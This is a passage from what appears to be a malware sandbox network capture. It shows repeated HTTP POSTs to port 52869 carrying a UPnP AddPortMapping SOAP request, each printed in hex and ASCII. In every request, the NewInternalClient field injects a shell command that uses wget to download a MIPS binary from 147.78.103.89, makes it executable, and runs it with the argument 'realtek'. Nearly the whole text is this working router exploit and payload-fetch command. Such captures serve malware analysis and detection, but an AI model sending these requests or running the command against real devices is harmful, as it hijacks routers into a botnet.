69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:24.534740925 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      170192.168.2.153346845.207.181.5952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:02.645597935 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:04.215194941 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:06.039099932 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:09.687002897 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:17.110776901 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:31.702354908 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
